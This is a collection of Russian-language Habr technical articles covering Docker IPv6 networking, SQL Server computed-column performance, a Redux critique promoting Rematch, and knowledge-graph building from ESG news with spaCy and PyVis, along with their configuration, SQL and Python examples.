Если же провайдер выделяет только один адрес (или не хочется возиться с NDP), то можно взять и настроить NAT. При этом в качестве подсети можно взять любую ULA-подсеть (<https://en.wikipedia.org/wiki/Unique_local_address>) (аналог `10.0.0.0/8` в IPv4) и настроить ip6tables. Добрые люди сделали контейнер (<https://github.com/robbertkl/docker-ipv6nat>), который достаточно просто запустить, и всё заработает: он будет автоматически редактировать правила ip6tables при создании новых контейнеров. В принципе, этот вариант кажется предпочтительным, потому что в этом случае вы никак не зависите от поведения провайдера (или IaaS), тем самым нивелируя риски по переходу к другому поставщику услуг. Для функционирования IPv6 в этом режиме достаточно лишь прописать подсеть в конфиг (или добавить свою новую сеть) и запустить маленький контейнер. Всё остальное сделает он сам.
Далее нужно настроить сеть выбранным способом и проверить работоспособность собранной схемы.
DNS
---
Итак, осталось рассмотреть DNS. Если мы решили использовать дефолтную сеть, с DNS проблем возникнуть не должно. Но если мы взяли кастомную сеть, то здесь есть одна особенность. Дело в том, что докер при создании контейнера в кастомной сети всегда добавляет свой встроенный DNS сервер. Помните, тот, который `127.0.0.11`? А он не в силах разрешить ipv6-only домены. Скорее всего, это баг. А еще прикол в том, что его нельзя отключить! Единственный способ избавиться от него — руками выкорчевать строчку из resolv.conf перед запуском приложения:
```
RESOLV_CONF=$(sed 's/nameserver 127.0.0.11//g' /etc/resolv.conf)
echo "$RESOLV_CONF" > /etc/resolv.conf
```
(здесь намеренно не использовалась опция inplace — попробуйте сделать то же самое с `sed -i` и вы поймёте, почему)
После этого наш контейнер снова может успешно резолвить доменные имена, т.к. конфигурация скопирована с хост-машины.
Далее нужно разобраться, как правильно слушать сокеты в приложении, если хотите открыть порт для подключений снаружи и что делать, если приложение написано криво и не поддерживает ipv6.
Открытие портов наружу
----------------------
Если всё (и хост машина, и докер) IPv4-only, проблем вроде бы возникнуть не должно. Просто приложение должно уметь байндиться на 0.0.0.0. Если приложение умеет слушать только на локалхосте, то тут спасёт только кастомная tcp proxy, запущенная в том же контейнере. Она будет слушать на всех интерфейсах, а транслировать данные в локалхост. socat вполне должен подойти для этой задачи.
Если мы имеем дело с IPv6, то в идеале нужно, чтобы программа создавала слушающий сокет, привязывая его к `::` и без флага `SO_IPV6_ONLY`. Такой сокет будет одновременно слушать и `::`, и `0.0.0.0`. Далее все зависит от множества факторов:
* есть ли dual stack на хост-машине, или же она IPv6-only
* запускается ли userland proxy, или же docker демон запущен с флагом `--userland-proxy=false`
* какой из механизмов поддержки IPv6 выбран: реальная /64-подсеть, NDP-проксирование или IPv6 NAT, или какая-то другая кастомная топология
В принципе, особой разницы между dual-стеком и IPv6-only стеком нет. Внутри всё равно будет dual stack так как докер использует в своей основе IPv4, а IPv6 рассматривает только как дополнение. Единственное, что нужно будет сделать дополнительно, – проверить, что порт доступен снаружи по обоим протоколам.
С userland proxy чуть сложнее. Сначала надо определиться: использовать ли дефолтный настройки (userland proxy включен) или отключить его напрочь. Действительно, зачем он нужен, если публикацию портов и forwarding трафика можно настроить целиком в iptables? И действительно, есть такая возможность. Можно добавить опцию `--userland-proxy=false` в конфигурацию docker engine. Но здесь есть несколько нюансов. Во-первых, через iptables можно затереть текущие открытые порты. Например, какое-то приложение слушало порт 80, потом пришёл докер и попросил добавить правило форвардить пакеты для этого порта в контейнер. Фаервол ответил "ОК" и после этого траффик перестал приходить первому приложению. docker-proxy в такой ситуации просто не запустился бы, сообщив о том, что порт занят. Ещё iptables не позволяет форвардить трафик c loopback-интерфейса, то есть по адресам 127.0.0.1 и ::1 на хост-машине ваш контейнер доступен не будет. Для первого случая наверное можно накодить проверки, а локалхост в принципе не очень-то и нужен. Но самая большая проблема в том, что `--userland-proxy=false` пока не готов для продакшена. Вот [тут](https://github.com/moby/moby/issues/5618) описано, как включение этой опции приводит к серьёзным проблемам. И судя по всему, в ближайшее время это вряд ли будет исправлено. Поэтому всё-таки лучше пока не выключать userland proxy, даже несмотря на то, что его использование приводит к дополнительному расходу памяти.
С использованием userland proxy в dual-стеке нужно помнить ещё и о том, что хоть слушает он порт на всех интерфейсах, пробрасывать траффик он может только на один IP-адрес (он ведь не балансер). Какой из них будет выбран, если у контейнера их два: IPv4 и IPv6? В исходниках видно, что IP-адрес выбирается один:
<https://github.com/docker/libnetwork/blob/master/portmapper/mapper.go#L96>
Но какой из них действительно будет выбран? Экспериментально выяснено, что всегда выбирается IPv4-адрес. Для точного ответа нужно будет исследовать код
<https://github.com/docker/libnetwork/blob/master/drivers/bridge/bridge.go>
В любом случае (возвращаясь к базовой рекомендации) в идеале приложение нужно научить слушать все интерфейсы. В любом другом случае есть риски. Например, если используется IPv6 NAT + userland proxy, приложение слушает только IPv4, а хост-машина с dual-стеком, то по при попытке подключиться к нему извне по IPv4 всё будет ок, а вот по IPv6 работать не будет. Почему? Потому что входящие IPv4-пакеты проксируются через docker-proxy в IPv4-адрес контейнера, а IPv6-пакеты транслируются в IPv6 адрес контейнера посредством ip6tables правилами, созданными IPv6 NAT. То есть IPv4-соединения легально идут через userland proxy, а IPv6-трафик напрямую в контейнер! Это легко проверить, запустив в контейнере одновременно `python -m SimpleHTTPServer 8000` и какой-нибудь `nc6 -6 -l -p 8000 --continuous --exec cat`. Два процесса слушают один порт, но привязаны к разным IP: '0.0.0.0' и '::'. telnet к ним снаружи будет работать независимо: IPv6 будет вести в IPv6, IPv4 в IPv4. Если после этого найти процесс docker-proxy, обслуживающий этот контейнер и убить его, то по IPv4 соединения больше приниматься не будут, а IPv6 будет продолжать работать, как ни в чём не бывало.
Заключение
==========
1. Используйте IPv6 NAT. Это быстро, удобно и наименее рискованно
2. Заставьте приложение слушать на всех интерфейсах. Это позволит открыть порт наружу с минимальными рисками обнаружить, что что-то не работает
3. Если вы используете кастомные сети (docker network create), добавьте в скрипты запуска ваших приложений код, который бы удалял embedded DNS server из /etc/resolv.conf. Это позволит не зафейлиться при работе с AAAA-only доменами
4. Не отказывайтесь от userland proxy. Если нужен большой диапазон портов, лучше попробовать использовать `--net=host`
В целом, поддержка IPv6 в докере выглядит не до конца готовой. Однако, уже есть наработки, позволяющие вполне сносно жить. Поэтому берите и пользуйтесь, новая эра не за горами. | https://habr.com/ru/post/334418/ | null | ru | null |
# Производительность вычисляемых столбцов в SQL Server
***Перевод статьи подготовлен специально для студентов курса [«MS SQL Server Developer»](https://otus.pw/BliQ/).***
---
*Вычисляемые столбцы могут стать причиной сложнодиагностируемых проблем с производительностью. В этой статье рассматривается ряд проблем и некоторые способы их решения.*
Вычисляемые столбцы представляют собой удобный способ для встраивания вычислений в определения таблиц. Но они могут быть причиной проблем с производительностью, особенно когда выражения усложняются, приложения становятся более требовательными, а объемы данных непрерывно увеличиваются.
Вычисляемый столбец — это виртуальный столбец, значение которого вычисляется на основе значений в других столбцах таблицы. По умолчанию вычисленное значение физически не сохраняется, а вместо этого SQL Server вычисляет его при каждом запросе столбца. Это увеличивает нагрузку на процессор, но уменьшает объем данных, которые необходимо сохранять при изменении таблицы.
Часто несохраняемые (non-persistent) вычисляемые столбцы создают большую нагрузку на процессор, что приводит к замедлению запросов и зависанию приложений. К счастью, SQL Server предоставляет несколько способов улучшения производительности вычисляемых столбцов. Можно создавать сохраняемые (persisted) вычисляемые столбцы, индексировать их или делать и то и другое.
Для демонстрации я создал четыре похожие таблицы и заполнил их идентичными данными, полученными из демонстрационной базы данных WideWorldImporters. В каждой таблице есть одинаковый вычисляемый столбец, но в двух таблицах он сохраняемый, а в двух — с индексом. В результате получаются следующие варианты:
* Таблица `Orders1` — несохраняемый вычисляемый столбец.
* Таблица `Orders2` — сохраняемый вычисляемый столбец.
* Таблица `Orders3` — несохраняемый вычисляемый столбец с индексом.
* Таблица `Orders4` — сохраняемый вычисляемый столбец с индексом.
Вычисляемое выражение довольно простое, а набор данных очень мал. Тем не менее этого должно быть достаточно для демонстрации принципов сохраняемых и индексированных вычисляемых столбцов и того, как это помогает в решении проблем, связанных с производительностью.
### Несохраняемый вычисляемый столбец
Возможно, в вашей ситуации вам могут понадобиться несохраняемые вычисляемые столбцы, чтобы избежать хранения данных, создания индексов или для использования с недетерминированным столбцом. Например, SQL Server будет воспринимать скалярную пользовательскую функцию как недетерминированную, если в определении функции отсутствует WITH SCHEMABINDING. Если попытаться создать сохраняемый вычисляемый столбец с помощью такой функции, то будет ошибка, что сохраняемый столбец не может быть создан.
Однако следует отметить, что пользовательские функции могут создать свои проблемы с производительностью. Если таблица содержит вычисляемый столбец с функцией, то Query Engine не будет использовать параллелизм (только если вы не используете SQL Server 2019). Даже в ситуации, если вычисляемый столбец не указан в запросе. Для большого набора данных это может сильно влиять на производительность. Функции также могут замедлять выполнение UPDATE и влиять на то, как оптимизатор вычисляет стоимость запроса к вычисляемому столбцу. Это не значит, что вы никогда не должны использовать функции в вычисляемом столбце, но определенно к этому следует относиться с осторожностью.
Независимо от того, используете вы функции или нет, создание несохраняемого вычисляемого столбца довольно просто. Следующая инструкция `CREATE TABLE` определяет таблицу `Orders1`, которая включает в себя вычисляемый столбец `Cost`.
```
USE WideWorldImporters;
GO
DROP TABLE IF EXISTS Orders1;
GO
CREATE TABLE Orders1(
LineID int IDENTITY PRIMARY KEY,
ItemID int NOT NULL,
Quantity int NOT NULL,
Price decimal(18, 2) NOT NULL,
Profit decimal(18, 2) NOT NULL,
Cost AS (Quantity * Price - Profit));
INSERT INTO Orders1 (ItemID, Quantity, Price, Profit)
SELECT StockItemID, Quantity, UnitPrice, LineProfit
FROM Sales.InvoiceLines
WHERE UnitPrice IS NOT NULL
ORDER BY InvoiceLineID;
```
Чтобы определить вычисляемый столбец, укажите его имя с последующим ключевым словом AS и выражением. В нашем примере мы умножаем `Quantity` на `Price` и вычитаем `Profit`. После создания таблицы заполняем ее с помощью INSERT, используя данные из таблицы `Sales.InvoiceLines` базы данных WideWorldImporters. Далее выполняем SELECT.
```
SELECT ItemID, Cost FROM Orders1 WHERE Cost >= 1000;
```
Этот запрос должен вернуть 22 973 строки или все строки, которые есть у вас в базе данных WideWorldImporters. План выполнения этого запроса показан на рисунке 1.
*Рисунок 1. План выполнения запроса к таблице Orders1*
Первое, что следует отметить — это сканирование кластерного индекса (Clustered Index Scan), что не является эффективным способом получения данных. Но это не единственная проблема. Давайте посмотрим на количество логических чтений (Actual Logical Reads) в свойствах Clustered Index Scan (см. рисунок 2).
*Рисунок 2. Логические чтения для запроса к таблице Orders1*
Количество логических чтений (в данном случае 1108) — это количество страниц, которые прочитаны из кэша данных. Цель состоит в том, чтобы попытаться максимально уменьшить это число. Поэтому полезно его запомнить и сравнить с другими вариантами.
Количество логических чтений можно также получить, запустив инструкцию `SET STATISTICS IO ON` перед выполнением SELECT. Для просмотра процессорного и общего времени — `SET STATISTICS TIME ON` или посмотреть свойства оператора SELECT в плане выполнения запроса.
Еще один момент, на который стоит обратить внимание — в плане выполнения присутствуют два оператора Compute Scalar. Первый (тот, что справа) — это вычисление значения вычисляемого столбца для каждой возвращаемой строки. Поскольку значения столбцов вычисляются на лету, вы не можете избежать этого шага с несохраняемыми вычисляемыми столбцами, если только не создадите индекс на этом столбце.
В некоторых случаях несохраняемый вычисляемый столбец обеспечивает необходимую производительность без его сохранения или использования индекса. Это не только экономит место для хранения, но также позволяет избежать накладных расходов, связанных с обновлением вычисляемых значений в таблице или в индексе. Однако чаще всего несохраняемый вычисляемый столбец приводит к проблемам с производительностью, и тогда вам стоит начать искать альтернативу.
### Сохраняемый вычисляемый столбец
Один из методов, часто используемых для решения проблем с производительностью, — это определение вычисляемого столбца как сохраняемого (persisted). При таком подходе выражение вычисляется заранее и результат сохраняется вместе с остальными данными таблицы.
Чтобы столбец можно было сделать сохраняемым, он должен быть детерминированным, то есть выражение должно всегда возвращать один и тот же результат при одинаковых входных данных. Например, вы не можете использовать функцию GETDATE в выражении столбца, потому что возвращаемое значение всегда изменяется.
Чтобы создать сохраняемый вычисляемый столбец, необходимо добавить к определению столбца ключевое слово `PERSISTED`, как показано в следующем примере.
```
DROP TABLE IF EXISTS Orders2;
GO
CREATE TABLE Orders2(
LineID int IDENTITY PRIMARY KEY,
ItemID int NOT NULL,
Quantity int NOT NULL,
Price decimal(18, 2) NOT NULL,
Profit decimal(18, 2) NOT NULL,
Cost AS (Quantity * Price - Profit) PERSISTED);
INSERT INTO Orders2 (ItemID, Quantity, Price, Profit)
SELECT StockItemID, Quantity, UnitPrice, LineProfit
FROM Sales.InvoiceLines
WHERE UnitPrice IS NOT NULL
ORDER BY InvoiceLineID;
```
Таблица `Orders2` практически идентична таблице `Orders1`, за исключением того, что столбец `Cost` содержит ключевое слово `PERSISTED`. SQL Server автоматически заполняет этот столбец при добавлении и изменении строк. Конечно, это означает, что таблица `Orders2` будет занимать больше места, чем таблица `Orders1`. Это можно проверить с помощью хранимой процедуры `sp_spaceused`.
```
sp_spaceused 'Orders1';
GO
sp_spaceused 'Orders2';
GO
```
На рисунке 3 показан результат выполнения этой хранимой процедуры. Объем данных в таблице `Orders1` составляет 8 824 КБ, а в таблице `Orders2` — 12 936 КБ. На 4 112 КБ больше, что необходимо для хранения вычисленных значений.
*Рисунок 3. Сравнение размера таблиц Orders1 и Orders2*
Хотя эти примеры основаны на довольно небольшом наборе данных, но вы можете видеть, как количество хранимых данных может быстро увеличиваться. Тем не менее это может быть компромиссом, если производительность улучшается.
Чтобы посмотреть разницу в производительности, выполните следующий SELECT.
```
SELECT ItemID, Cost FROM Orders2 WHERE Cost >= 1000;
```
Это тот же SELECT, который я использовал для таблицы Orders1 (за исключением изменения имени). На рисунке 4 показан план выполнения.
*Рисунок 4. План выполнения запроса к таблице Orders2*
Здесь также все начинается с Clustered Index Scan. Но на этот раз, есть только один оператор Compute Scalar, потому что вычисляемые столбцы больше не нужно вычислять во время выполнения. В общем случае чем меньше шагов, тем лучше. Хотя это и далеко не всегда так.
Второй запрос генерирует 1593 логических чтения, что на 485 больше по сравнению с 1108 чтений для первой таблицы. Несмотря на это, он выполняется быстрее, чем первый. Хотя и только примерно на 100 мс, а иногда и намного меньше. Процессорное время также уменьшилось, но тоже не на много. Скорее всего, разница была бы гораздо больше на больших объемах и более сложных вычислениях.
### Индекс на несохраняемом вычисляемом столбце
Другой метод, который обычно используется для улучшения производительности вычисляемого столбца, — это индексирование. Для возможности создания индекса столбец должен быть детерминированным и точным, что означает, что выражение не может использовать типы float и real (если столбец несохраняемый). Существуют также ограничения и для других типов данных, а также на параметры SET. Полный перечень ограничений см. в документации SQL Server [Indexes on Computed Columns](https://docs.microsoft.com/en-us/sql/relational-databases/indexes/indexes-on-computed-columns?view=sql-server-ver15) (Индексы на вычисляемых столбцов).
Проверить подходит ли несохраняемый вычисляемый столбец для индексирования можно через его свойства. Для просмотра свойств воспользуемся функцией `COLUMNPROPERTY`. Нам важны свойства IsDeterministic, IsIndexable и IsPrecise.
```
DECLARE @id int = OBJECT_ID('dbo.Orders1')
SELECT
COLUMNPROPERTY(@id,'Cost','IsDeterministic') AS 'Deterministic',
COLUMNPROPERTY(@id,'Cost','IsIndexable') AS 'Indexable',
COLUMNPROPERTY(@id,'Cost','IsPrecise') AS 'Precise';
```
Оператор SELECT должен возвращать значение 1 для каждого свойства, чтобы вычисляемый столбец мог быть проиндексирован (см. рисунок 5).
*Рисунок 5. Проверка возможности создания индекса*
После проверки вы можете создать некластерный индекс. Вместо изменения таблицы `Orders1` я создал третью таблицу (`Orders3`) и включил индекс в определение таблицы.
```
DROP TABLE IF EXISTS Orders3;
GO
CREATE TABLE Orders3(
LineID int IDENTITY PRIMARY KEY,
ItemID int NOT NULL,
Quantity int NOT NULL,
Price decimal(18, 2) NOT NULL,
Profit decimal(18, 2) NOT NULL,
Cost AS (Quantity * Price - Profit),
INDEX ix_cost3 NONCLUSTERED (Cost, ItemID));
INSERT INTO Orders3 (ItemID, Quantity, Price, Profit)
SELECT StockItemID, Quantity, UnitPrice, LineProfit
FROM Sales.InvoiceLines
WHERE UnitPrice IS NOT NULL
ORDER BY InvoiceLineID;
```
Я создал некластерный покрывающий индекс, который включает оба столбца `ItemID` и `Cost` из запроса SELECT. После создания, заполнения таблицы и индекса можно выполнить следующую инструкцию SELECT, аналогичную предыдущим примерам.
```
SELECT ItemID, Cost FROM Orders3 WHERE Cost >= 1000;
```
На рисунке 6 показан план выполнения этого запроса, который теперь использует некластерный индекс ix\_cost3 (Index Seek), а не выполняет сканирование кластерного индекса.
*Рисунок 6. План выполнения запроса к таблице Orders3*
Если вы посмотрите свойства оператора Index Seek, то обнаружите, что запрос теперь выполняет только 92 логических чтения, а в свойствах оператора SELECT увидите, что процессорное и общее время стало меньше. Разница несущественная, но, опять же, здесь небольшой набор данных.
Следует также отметить, что в плане выполнения присутствует только один оператор Compute Scalar, а не два, как было в первом запросе. Поскольку вычисляемый столбец проиндексирован, то значения уже вычислены. Это устраняет необходимость вычисления значений во время выполнения, даже если столбец не был определен как сохраняемый.
### Индекс на сохраняемом столбце
Вы также можете создать индекс для сохраняемого вычисляемого столбца. Хотя это приведет к хранению дополнительных данных и данных индекса, но в некоторых случаях может быть полезно. Например, вы можете создать индекс для сохраняемого вычисляемого столбца, даже если он использует типы данных float или real. Этот подход также может быть полезен при работе с функциями CLR, и когда нельзя проверить, являются ли функции детерминированными.
Следующая инструкция `CREATE TABLE` создает таблицу `Orders4`. Определение таблицы включает в себя как сохраняемый столбец `Cost`, так и некластерный покрывающий индекс ix\_cost4.
```
DROP TABLE IF EXISTS Orders4;
GO
CREATE TABLE Orders4(
LineID int IDENTITY PRIMARY KEY,
ItemID int NOT NULL,
Quantity int NOT NULL,
Price decimal(18, 2) NOT NULL,
Profit decimal(18, 2) NOT NULL,
Cost AS (Quantity * Price - Profit) PERSISTED,
INDEX ix_cost4 NONCLUSTERED (Cost, ItemID));
INSERT INTO Orders4 (ItemID, Quantity, Price, Profit)
SELECT StockItemID, Quantity, UnitPrice, LineProfit
FROM Sales.InvoiceLines
WHERE UnitPrice IS NOT NULL
ORDER BY InvoiceLineID;
```
После того как таблица и индекс созданы и заполнены, выполним SELECT.
```
SELECT ItemID, Cost FROM Orders4 WHERE Cost >= 1000;
```
На рисунке 7 показан план выполнения. Как и в предыдущем примере, запрос начинается с поиска по некластерному индексу (Index Seek).
*Рисунок 7. План выполнения запроса к таблице Orders4*
Этот запрос также выполняет только 92 логических чтения, как и предыдущий, что приводит к примерно аналогичной производительности. Основное различие между этими двумя вычисляемыми столбцами, а также между индексированными и неиндексированными столбцами заключается в объеме используемого пространства. Проверим это, запустив хранимую процедуру `sp_spaceused`.
```
sp_spaceused 'Orders1';
GO
sp_spaceused 'Orders2';
GO
sp_spaceused 'Orders3';
GO
sp_spaceused 'Orders4';
GO
```
Результаты показаны на рисунке 8. Как и ожидалось, в сохраняемых вычисляемых столбцах больше объем данных, а в индексированных — больше объем индексов.
*Рисунок 8. Сравнение использования пространства для всех четырех таблиц*
Скорее всего, вам не нужно будет индексировать сохраняемые вычисляемые столбцы без веской на то причины. Как и в случаях с другими вопросами, связанными с базами данных, ваш выбор должен основываться на вашей конкретной ситуации: на ваших запросах и характере ваших данных.
### Работа с вычисляемыми столбцами в SQL Server
Вычисляемый столбец не является обычным столбцом таблицы, и с ним следует обращаться с осторожностью, чтобы не ухудшить производительность. Большинство проблем с производительностью можно решить через сохранение или индексацию столбца, но в обоих подходах необходимо учитывать дополнительное дисковое пространство и то, как изменяются данные. При изменении данных значения вычисляемого столбца должны быть обновлены в таблице или индексе или в обоих местах, если вы проиндексировали сохраняемый вычисляемый столбец. Решить, какой из вариантов лучше подходит, можно только для вашего конкретного случая. И, скорее всего, вам придется использовать все варианты.
[](https://otus.pw/BliQ/)
> ### Читать ещё
>
>
>
> * [Введение в графовые базы данных SQL Server 2017](https://habr.com/ru/company/otus/blog/518586/)
> | https://habr.com/ru/post/519848/ | null | ru | null |
# Совершенствуем Redux
Привет, Хабр! Представляю вашему вниманию перевод статьи "[Redesigning Redux](https://hackernoon.com/redesigning-redux-b2baee8b8a38)" автора Shawn McKay.
Должно ли управление состоянием вызывать проблемы на сегодняшний день? Интуитивно, разработчики видят скрытую правду: управление состоянием куда сложнее, чем должно быть. В данной статье мы разберем несколько вопросов, которые вы наверняка задавали себе:
* Вам действительно необходима библиотека для управления состоянием?
* Заслужил ли Redux свою популярность? Почему или почему нет?
* Можем ли мы придумать лучшее решение? Если да, то какое?
Необходима ли библиотека для управления состоянием?
---------------------------------------------------
Front-end разработчик не тот, кто попросту передвигает пиксели из стороны в сторону; истинное искусство в знании где хранить состояние. Это кажется сложным только на первый взгляд.
Давайте рассмотрим возможности, которые предоставляет нам React:
#### 1. Состояние компонента (Component State)
Состояние хранится внутри компонента. В React мы обновляем `state` через `setState()`.
#### 2. Относительное состояние (Relative State)
Состояние переданное от родителя потомку. В React передаем `props` как свойство компонента потомка.
#### 3. Переданное состояние (Provided State)
Состояние хранится в поставщике (**provider**), и доступно любому компоненту (**consumer**), расположенному ниже по дереву. `Context API` в React.
View хранит большую часть состояния. Но что делать с остальным кодом, который отражает основные данные и логику?
Размещение всего кода внутри компонентов может привести к низкому **разделению ответственности**: растет зависимость от view-библиотек, усложняется тестирование такого кода, но самое страшное: приходится регулярно менять способ хранения состояния.
Структура приложения со временем изменяется, и с каждым разом сложнее определить, какому компоненту необходимо то или иное состояние. Проще всего вынести все состояние из корневого компонента, что можно осуществить следующим способом.
#### 4. Внешнее состояние (External State)
Состояние может находиться отдельно от компонентов, которые синхронно «свяжуться» с ним при помощи provider/consumer паттерна. Вероятнее всего самой большой популярностью, среди библиотек для управления состоянием, пользуется Redux. В течении последних двух лет она получила большую известность среди разработчиков. Так в чем причина такой любви к одной библиотеке?
Redux более производительный? Нет. На самом деле, работа приложения немного замедляется с каждым новым действием, которое должно быть обработано.
Redux прост в применении? Конечно нет.
Простым был бы нативный javascript:
Так почему каждый не может использовать `global.state = {}`?
Почему Redux?
-------------
Под капотом, Redux аналогичен глобальному объекту TJ, только обернут рядом утилит.
В Redux можно непосредственно изменять состояние, путем передачи (**dispatch**) действий (**action**) через указанные инструменты.
Библиотека включает два вида обработчиков действий: **middleware** & **subscriptions**. Middleware — это функции, которые перехватывают действия. Включают такие инструменты как «logger», «devtools» или «syncWithServer». Subscriptions — это функции, используемые для отправки изменений компонентам.
Наконец, редьюсеры (**reducer**) — это функции, которые изменяют состояние и делят его на мелкие, модульные и управляемые части.
> *Вероятнее всего, Redux более применим для хранения состояния, чем глобальный объект.*
Думайте о Redux как о глобальном объекте с расширенными возможностями и упрощенным способом «преобразования» состояния.
Настолько ли сложен Redux?
--------------------------
Да. Есть несколько неоспоримых признаков, что необходимо улучшить API; можно сделать вывод при помощи следующего уравнения:
Считаем, что **time\_saved** подразумевает время затраченное на разработку собственного решения, а **time\_invested** равняется часам потраченным на чтение документации, прохождение обучающих курсов и изучение новых понятий.
Redux, в принципе, простая и небольшая библиотека с крутой кривой обучения. На каждого разработчика, который овладел и извлек выгоду из Redux, погрузившись в функциональное программирование, найдется другой потенциальный разработчик, запутавшийся и думающий «это все не для меня, я возвращаюсь к jQuery».
Вы не должны разбираться что такое «comonad», используя jQuery, и не обязаны понимать функциональную композицию, чтобы справиться с управлением состоянием.
> *Цель любой библиотеки: сделать сложное простым при помощи абстракции.*
Я не намерен высмеивать Дэна Абрамова. Redux стал популярным на слишком ранней стадии своего развития.
* Как внести изменения в библиотеку, которую используют миллионы разработчиков?
* Как вы оправдаете критические изменения, которые повлияют на проекты во всем мире?
Вы не сможете. Но предоставив расширенную документацию, обучающие видео и помощь комьюнити, вы окажете неоценимую помощь. У Дэна Абрамова получилось это.
А может есть другой путь?
Совершенствуем Redux
--------------------
Redux заслуживает изменений, и я вооружился шестью его слабыми местами, чтобы доказать это.
#### 1. Настройка
Предлагаю посмотреть на [первоначальную настройку Redux-приложения](https://github.com/reactjs/redux/blob/master/examples/real-world/src/store/configureStore.dev.js) (левый скрин).
Много разработчиков, сразу после первого шага, остановились в недоумении. Что такое **thunk**? **compose**? Способна ли функция на такое?
Считается, что Redux основан на конфигурации над композицией. Настройка должна быть похожа на пример справа.
#### 2. Упрощаем редьюсеры
Редьюсеры в Redux могут использовать switch-конструкции далекие от тех, которые мы привыкли использовать.
Учитывая, что редьюсеры находят соответствие по типу действия, мы можем сделать каждый редьюсер чистой (pure) функцией, принимающей состояние и действие. Можно сократить действие и передавать только состояние и данные.
#### 3. Async/Await без Thunk
Thunk широко используется для создания асинхронных действий в Redux. Во многих отношениях, thunk больше похож на умный хак, чем на официально рекомендуемое решение. Как это работает:
1. Вы передаете действие, уже как функцию, а не объект.
2. Thunk проверяет каждое действие, что оно является функцией.
3. Если все сходится, thunk вызывает эту функцию и передает в нее некоторые методы стора: dispatch и getState.
Серьезно? Следует ли таким образом типизировать простые действия как объект, функцию или даже Promise?
Возможно ли использовать async/await, как в примере справа?
#### 4. Два вида действий
Задумайтесь, ведь действительно есть два вида действий:
1. ***Reducer action***: запускает редьюсер и изменяет состояние.
2. ***Effect action***: запускает асинхронное действие. Может вызвать reducer action, но асинхронная функция не способна напрямую изменить состояние.
Умение различать виды действий принесет больше пользы, чем использование «санков».
#### 5. Никаких больше переменных хранящих тип действия
Почему принято разделять генераторы действий (action creators) и редьюсеры? Может ли один существовать без другого? Как изменить один не изменяя другой?
> *Генераторы действий и редьюсеры две стороны одной медали.*
`const ACTION_ONE = 'ACTIONE_ONE'` — это лишний побочный эффект разделения генераторов действий и редьюсеров. Обращайтесь с ними как с единым целом и отпадет потребность в крупных файлах с экспортом типов.
#### 6. Редьюсеры — это генераторы действий
Объединяйте элементы Redux по их назначению, и вы получите простой шаблон.
В итоге, следуя этому сценарию, **редьюсер может стать генератором действий**.
Используйте соглашение об именах, и следующие пункты будут довольно предсказуемы:
1. Если редьюсер получил название «increment», тогда тип будет «increment». Даже лучше, обозначим как «count/increment».
2. Каждое действие передает данные через «payload».
Теперь при помощи `count.increment` мы можем создать генератор действий напрямую из редьюсера.
Хорошие новости: мы можем улучшить Redux
----------------------------------------
Эти проблемные части мотивировали на создание [Rematch](https://github.com/rematch/rematch).
Rematch служит оберткой вокруг Redux, предоставляя разработчикам упрощенное API.
Вот полный пример кода с Rematch:
Я использовал Rematch в production последние несколько месяцев. И что я думаю:
> *Я никогда не тратил так мало времени на управление состоянием.*
Redux не исчезнет и не обязан. Освойте эту библиотеку с меньшей кривой обучения, меньшим количеством бойлерплейта и меньшими умственными затратами.
Опробуйте [Rematch](https://github.com/rematch/rematch) и выясните, нравится он вам или нет.
Поставьте звезду, чтобы позволить узнать о нас другим. | https://habr.com/ru/post/353554/ | null | ru | null |
# Построение графов с помощью библиотеки PyViz на основе текстового анализа ESG стратегий отдельных компаний
В настоящее время многие страны мира сконцентрировались на таком важном направлении как экологическое, социальное и корпоративное управление организациями (ESG). Под этим сложным понятием чаще всего подразумевают то, каким образом деятельность компаний влияет на решение экологических проблем окружающей среды, поведенческие настроения в обществе, а также насколько эффективно ведется управление. Проведем анализ нескольких российских компаний и выясним, как применяются принципы ESG. Для этого нам потребуются: данные новостных источников по выбранной тематике, инструменты для построения графов и текстового анализа.
Анализ огромного потока неструктурированной текстовой информации является одним из постоянных действий любого человека. Для того, чтобы провести быстрый обзор ключевых моментов существуют современные технологичные инструменты, такие как графы знаний или knowledge graph. Графы знаний используются для наглядного представления взаимосвязей между людьми, событиями, предметами и т.д.
Данные для обработки были предварительно собраны из новостных источников с веб-сайтов организаций, а также дополнительно проведены простые манипуляции:
* местоимения заменены на наименования компаний;
* предложения разделены в список.
Чтобы построить knowledge graph необходимо в предложении определить несколько основных сущностей, а именно: субъекта, объекта и отношения между ними. В качестве субъектов и объектов чаще всего выступают следующие части речи: простые или составные имена существительные, а также связанные с ними прилагательные в отдельных случаях. Функцию построения отношений между частями речи в русском языке могут выполнять как глаголы, так и существительные. Подготовленный набор данных выглядит следующим образом:
Процесс построения графа знаний состоит из нескольких этапов: анализ текстовой информации, затем построение графической интерпретации. Для работы с текстовой информацией используется библиотека spacy, а для построения графов – связка Networkx и PyViz.
· подключение необходимых библиотек:
```
import re
import pandas as pd
import spacy
import networkx as nx
from pyvis.network import Network
nlp = spacy.load("ru_core_news_sm")
df = pd.DataFrame(list_, columns=['Предложения'])
df.head(4)
```
· выделение основных сущностей с помощью библиотеки spacy и загруженной модели, обученной для русского языка:
```
def get_object_subject(str_):
object_,subject_ = "", ""
prefix, postfix = "", ""
flag1, flag2 = False, False
for token in nlp(str_):
if token.dep_ != "punct":
if token.dep_=="nsubj":
subject_ = token.text
flag1 = True
if token.dep_=="obj":
object_ = token.text
flag2 = True
if token.dep_.endswith("mod") == True:
prefix = token.text
if token.dep_.endswith("ppos") == True:
postfix = token.text
if prefix != "" :
if flag1:
subject_ = prefix +" "+ subject_
flag1 = False
if flag2:
object_ = prefix +" "+ object_
flag2 = False
prefix = ""
if postfix != "" :
if flag1:
subject_ = subject_ + " " + postfix
flag1 = False
if flag2:
object_ = object_ + " " + postfix
flag2 = False
postfix = ""
return [subject_.strip(), object_.strip()]
object_subject = [get_object_subject(i) for i in df["Предложения"]]
relations = [get_relation(i) for i in df['Предложения']]
```
· формируем набор данных для построения графа:
```
result_df = pd.DataFrame({'subject_':[i[0] for i in object_subject], 'object_':[i[1] for i in object_subject], 'relation_':relations})
```
· обработанные данные выглядят следующим образом:
· построение графа на основе выделенных из предложений параметров:
```
G=nx.from_pandas_edgelist(result_df, "subject_", "object_",
edge_attr=["relation_"], create_using=nx.MultiDiGraph())
nt = Network(height='750px', width='100%')
nt.from_nx(G)
for node in nt.nodes:
if node['label'] == 'Компания Магнит':
node['color'] = 'red'
elif node['label'] == 'Компания Роснефть':
node['color'] = 'yellow'
elif node['label'] == 'Компания Норникель':
node['color'] = 'blue'
else :
node['color'] = 'grey'
nt.show('nx.html')
```
